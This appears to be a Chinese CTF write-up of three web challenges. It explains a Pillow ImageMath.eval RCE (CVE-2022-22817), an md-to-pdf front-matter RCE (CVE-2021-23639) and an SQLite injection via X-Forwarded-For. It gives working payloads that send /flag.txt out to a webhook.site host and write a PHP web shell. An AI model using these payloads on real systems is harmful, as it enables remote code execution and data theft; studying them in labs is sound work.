国际赛,你让我陷入疯狂(

不久前和队友们接触了一场国际赛,不得不说老外的题目还挺不错的(就是有些可能比较抽象2333

amidst_us

这道题一开始看其实非常抽象,和学长一起做出来的

源码节选一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
FROM python:3.7-alpine

# Install packages
RUN apk add --update --no-cache supervisor python3-dev jpeg-dev libpng-dev freetype-dev gcc musl-dev

# Upgrade pip
RUN python -m pip install --upgrade pip

# Install dependencies
RUN pip install Flask

# Add user
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www

# Copy flag
COPY flag.txt /flag.txt

# Setup app
RUN mkdir -p /app

# Switch working environment
WORKDIR /app

# Add application
COPY challenge .
RUN chown -R www:www .

# Install python dependencies
RUN python -m pip install -r requirements.txt

# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf

# Expose port the server is reachable on
EXPOSE 1337

# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1

# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

flag.txt被放在了一个名为/flag.txt的文件里,本来是想本地开一下容器的,可是我的docker不知道怎么坏掉了,之后得重装www

这是一个可以上传图片和调整图片rgb色域的应用,图片上传后会对图片做透明处理然后回显,这是用python写的后端,而且后端在处理文件的时候,是没有临时文件的,文件会储存到内存空间里,理论上来说,利用文件上传的漏洞几乎是不可能的了

处理图像的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os, base64
from PIL import Image, ImageMath
from io import BytesIO

generate = lambda x: os.urandom(x).hex()

def make_alpha(data):
color = data.get('background', [255,255,255])

try:
dec_img = base64.b64decode(data.get('image').encode())

image = Image.open(BytesIO(dec_img)).convert('RGBA')
img_bands = [band.convert('F') for band in image.split()]

alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)

其中{color[0]}等color数组对象都是由我们来传参的,注意这里调用了PIL.ImageMath.eval函数,这是一个值得注意的点,后面我们是可以操控这个eval的

和图像处理相关的requirements文件

pRPS2B5GVkDxNiQ.png

学长做出来后提示说需要利用一个2022年发现的cve,然后我看了一下配置参数,觉得这个8.4.0版本的pillow有问题,然后去网上找了一下,链接https://support.f5.com/csp/article/K23413369

对应的cve是CVE-2022-22817

大致的意思是利用PIL.ImageMath.eval函数来任意命令执行,这里是使用了exec函数

payload

原payload

1
"exec(\"import os;os.system('wget https://webhook.site/5d9fe540-158c-496f-bd88-9033d593870e?a=`base64 /flag.txt`')\")"

但是不知道为什么不能用分号;所以将payload改造一下

1
"exec(\"__import__('os').system('wget https://webhook.site/5d9fe540-158c-496f-bd88-9033d593870e?a=`base64 /flag.txt`')\")"

注意有个问题,就是这里开头的双引号不能漏掉,因为是json传参数的形式,所以字符串需要加上双引号,这样才能被eval解析(就是不知道为什么还是显示响应码还是400)还有就是多余的反斜杠转义\不要多用,不然有的时候命令执行不成功

不得不说,歪果仁设计的前端界面效果的逼格确实很高

flag:HTB{i_slept_my_way_to_rce}

哦对了,就是原本是想用curl的方法的,但是dockerfile里面没有为容器准备这个方法(这一点得开了容器才能看出来)所以就用wget来代替这个curl

blinkerfluids

这道题也是一个CVE

配置相关可以在json文件和dockerfile里面看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
FROM node:current-buster-slim

# Install packages
RUN apt-get update \
&& apt-get install -y wget curl supervisor gnupg \
&& wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \
&& sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \
&& apt-get update \
&& apt-get install -y google-chrome-stable fonts-ipafont-gothic fonts-wqy-zenhei fonts-thai-tlwg fonts-kacst fonts-freefont-ttf libxss1 libxshmfence-dev \
--no-install-recommends \
&& rm -rf /var/lib/apt/lists/*

# Setup challenge directory
RUN mkdir -p /app

# Add flag
COPY flag.txt /flag.txt

# Add application
WORKDIR /app
COPY challenge .
RUN chown -R www-data:www-data .

# Install dependencies
RUN npm install --production

# Setup superivsord
COPY config/supervisord.conf /etc/supervisord.conf

# Expose the port node-js is reachable on
EXPOSE 1337

# Start the node-js application
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

同样,flag.txt被放在了/flag.txt里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"name": "blinker-fluids",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "rayhan0x01",
"license": "ISC",
"dependencies": {
"express": "4.17.3",
"md-to-pdf": "4.1.0",
"nunjucks": "3.2.3",
"sqlite-async": "1.1.3",
"uuid": "8.3.2"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}

这道题是一个可以在书写板上写markdown语法,然后将其转换为pdf的web应用

其中将markdown转换成pdf的源码部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const { mdToPdf }    = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')

const makePDF = async (markdown) => {
return new Promise(async (resolve, reject) => {
id = uuidv4();
try {
await mdToPdf(
{ content: markdown },
{
dest: `static/invoices/${id}.pdf`,
launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] }
}
);
resolve(id);
} catch (e) {
reject(e);
}
});
}

module.exports = {
makePDF
};

调用了md-to-pdf库,版本是4.1.0

大致看完全部的源码都没有发现有哪个地方可以得到flag,这种情况一般都可以考虑cve了

CVE-2021-23639

大致的意思是5.0.0之前版本的md-to-pdf容易受到RCE的影响,原因是在解析前端发送的内容的时候,没有将JavaScript引擎给禁用掉,换言之,可以任意执行JavaScript代码

这个payload是在推特上找到的(太有用了推特

1
2
3
---js
((require("child_process")).execSync("curl https://webhook.site/xxxxxx?a=`base64/flag.txt`"))
---RCE

将flag带到自己的服务器上即可(哦我用的是webhook,这个还挺方便的

IntergalacticPost

emm,这道题我的方向走错了

源码迷惑性较强,我选择一部分重要的

这是在输入框输入邮件的后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class SubsController extends Controller
{
public function __construct()
{
parent::__construct();
}

public function store($router)
{
$email = $_POST['email'];

if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
header('Location: /?success=false&msg=Please submit a valild email address!');
exit;
}

$subscriber = new SubscriberModel;
$subscriber->subscribe($email);

header('Location: /?success=true&msg=Email subscribed successfully!');
exit;
}

public function logout($router)
{
session_destroy();
header('Location: /admin');
exit;
}
}

数据库插入数据操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class SubscriberModel extends Model
{

public function __construct()
{
parent::__construct();
}

public function getSubscriberIP(){
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)){
return $_SERVER["HTTP_X_FORWARDED_FOR"]; //获得ip地址,即为x-forwarded-for
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER["REMOTE_ADDR"];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER["HTTP_CLIENT_IP"];
}
return '';
}

public function subscribe($email)
{
$ip_address = $this->getSubscriberIP();
return $this->database->subscribeUser($ip_address, $email);
}
}

其中的subscribeUser函数

1
2
3
4
public function subscribeUser($ip_address, $email)
{
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}

错误思路:使用FILTER_VALIDATE_EMAIL标准和filter_var函数来判断输入字符是否为邮件,在绕过filter_var函数的检查来执行命令,参考了这个https://xz.aliyun.com/t/3656

傻傻地输入js代码,之后才反应过来这是php啊,在邮件输入框注入命令是不行的

真正的方法是这样的

首先发现上传邮件会以POST的请求方式到/subscribe路径中,然后调用subscribe函数,其中getSubscriberIP会根据你$_SERVER里面的HTTP_X_FORWARDED_FOR键是否存在而返回这个键值(php当中这种开头的变量例如$\_POST$_GET的等的本质是一个数组,里面存放了很多键值)这个$_SERVER里面就包含了很多和服务器相关的信息,比如请求头信息等等

这个HTTP_X_FORWARDED_FOR指的是请求头里的x-forwarded-for字段,这个return的值会被插入到数据库中(由subscribeUser函数实现)我们发现subscribeUser函数调用了exec这个命令,这和之前angstormctf的noflags那道题的exec也是一样的(没反应过来有些遗憾)exec是可以执行多条语句的,但是query不可以

考虑到数据库是SQLite,又要想办法读取到flag文件,于是可以用SQLite来getshell

在post的请求头构造信息

1
X-Forwarded-For:127.0.0.1','1@example.top');ATTACH DATABASE '/www/1.php' AS test;CREATE TABLE test.top (dataz text);INSERT INTO test.top (dataz) VALUES ('<?php system($_GET("cmd"));')--;

dockerfile提示工作目录在/www路径当中,所以就在/www路径写数据库文件就可以了

然后访问此文件,cmd参数输入命令即可得到flag